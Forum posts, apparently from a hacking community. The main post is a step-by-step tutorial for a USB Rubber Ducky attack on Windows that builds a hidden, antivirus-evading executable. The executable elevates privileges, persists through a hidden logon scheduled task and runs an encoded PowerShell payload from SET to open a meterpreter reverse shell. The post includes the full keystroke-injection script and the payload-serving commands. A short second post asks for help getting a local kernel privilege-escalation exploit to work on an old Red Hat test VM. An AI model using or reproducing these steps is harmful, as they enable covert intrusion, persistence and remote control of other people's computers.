Hi there, I'm new to this forum and so I thought I'd introduce myself with a nice tutorial! :) I've created a ducky script and coded an executable which will achieve the title of this topic. This will make use of the twin duck firmware so this is a prerequisite before starting unless you can apply the same thing to ducky-decode or similar. Another prerequisite is .NET framework 4.5 but PC's with Win 8+ will have this by default and loads of applications use this so the likelihood of a PC pre Win 8 not having it is fairly low (I might make a native payload later). What the executable does: - Checks for specific current privileges, e.g. Admin, Admin user group, non privileged user. - Depending on privilege level, either continue execution or attempt to elevate. (- If the user is in the admin user group it will display a normal UAC prompt so the ducky script we use later can hit 'ALT Y') - Copies itself and required DLL's to the default TEMP directory, and sets all of those files to be hidden. - Creates a hidden Task Scheduler task which runs the executable on each user logon. - Executes encoded Powershell payload. Why smart privilege checking is important: If a completely non privileged user was to execute the program and it asked for UAC anyway then a prompt like this would appear: This is obviously problematic, in this circumstance we would rather our payload run with normal privileges because non-privileged access is better than no access right? This is why I have incorporated the privilege escalation into the executable rather than the ducky script so this prompt is never displayed and instead we get a normal user level meterpreter shell. Now if a user is part of the admin group then we see a dialog like this: This is where we'd like our ducky script to hit 'ALT Y' and bam! We can then just use meterpreters 'getsystem' command and we're away! Tutorial: What you'll need: - Windows PC/VM with Visual Studio 2013/2015/2017 installed (free downloads from Microsoft). - Linux based PC/VM for generating our payload/listening for connections. Preferably Kali Linux as we will be using S.E.T (Social Engineering Toolkit) to generate our Powershell payload. - USB Rubber ducky (with Twin Duck or similar firmware installed) - This Visual Studio project: http://www37.zippyshare.com/v/9GYYXKVl/file.html (On your Windows PC/VM, unzip it before) Let's start: - On the Kali Linux side of things lets open S.E.T by going to 'Applications' -> 'Social Engineering Tools' -> 'social engineering toolkit'. - You will be presented with various options, hit '1' and then enter. - Again more options, hit '9' or whichever number corresponds to 'Powershell Attack Vectors' and then enter. - More options, hit '1' and then enter. - Give it your local IP (or external IP if you want a connection from outside your local network, this would require port-forwarding) - Give it a port and then say 'yes' when it asks if you want to start the listener. - Now type this command (change path if necessary): 'sudo php -S 0.0.0.0:80 -t /root/.set/reports/powershell/' - You have just started a webserver on port 80. Navigate over there on your Windows PC's web browser with the file name in the path like so: '192.168.0.XXX/x86_powershell_injection.txt' You should be faced with this screen: - Select all the text and copy it. - Open Visual Studio and click 'Open Project'. Navigate to the 'PSExec' folder that you unzipped and select the Visual Studio solution file: - Go to the line with the pre-inserted Powershell payload (Line 64): - Replace the text within the double quotes with your payload you got from the web server earlier. - Go to the build menu at the top and click 'Build Solution'. Make sure the drop-downs below the menu bar say 'Release' and 'Any CPU', if not just change them. - Navigate to the path it gives at the bottom in the console window to find the DLL's and exe file we need. - Plug in your Ducky's micro SD card into your PC, copy the files called 'PSExec.exe', 'Microsoft.Win32.TaskScheduler.dll' 'JetBrains.Annotations.dll' to your ducky drive. - Now we need our ducky payload, here is the code: REM Awesome script DELAY 500 GUI R DELAY 50 STRING cmd /k "for /f %a in ('wmic logicaldisk get volumename^,name ^| find "DUCKY"') do start "" %a\PSExec.exe" DELAY 50 ENTER DELAY 1500 ALT Y DELAY 1000 STRING exit DELAY 50 ENTER DELAY 50 STRING exit DELAY 50 ENTER - Generate your inject.bin file with an encoder. - Copy the inject.bin to your Ducky's drive and there we have it! Some caveats: - The 'PSExec.exe' file is totally undetected by AntiViruses but if an Anti virus wants to scan the file before running it, it may interfere with the ducky script. - Slower PC's may need slightly longer delays in the ducky script, but hey, just experiment until it works! So tell me what you think, feedback is greatly appreciated!

Violation of CoC

Hi Guys, I'm learning penetration testing and need some help with escalating my privileges on a Red Hat 9 (Shrike - kernel 2.4.20-8 - http://archive.download.redhat.com/pub/redhat/linux/9/en/iso/i386/) test VM. I'm stuck.... I'm using this exploit (https://www.exploit-db.com/exploits/160/) and keep getting "Segmentation fault" errors. I've tried others as well that should work but all appear to give me the same error. I could not find any helpful information on how to resolve this. I've tried debugging the code but I'm not a programmer so it's been a pain, also tired changing RAM size and running the VM on different host machines as some suggested online but no luck. Anyone has any ideas or suggestions? I can provide more information if need be. Any help would be greatly appreciated. Here a screenshot: https://imgur.com/a/7mFHI Thanks.
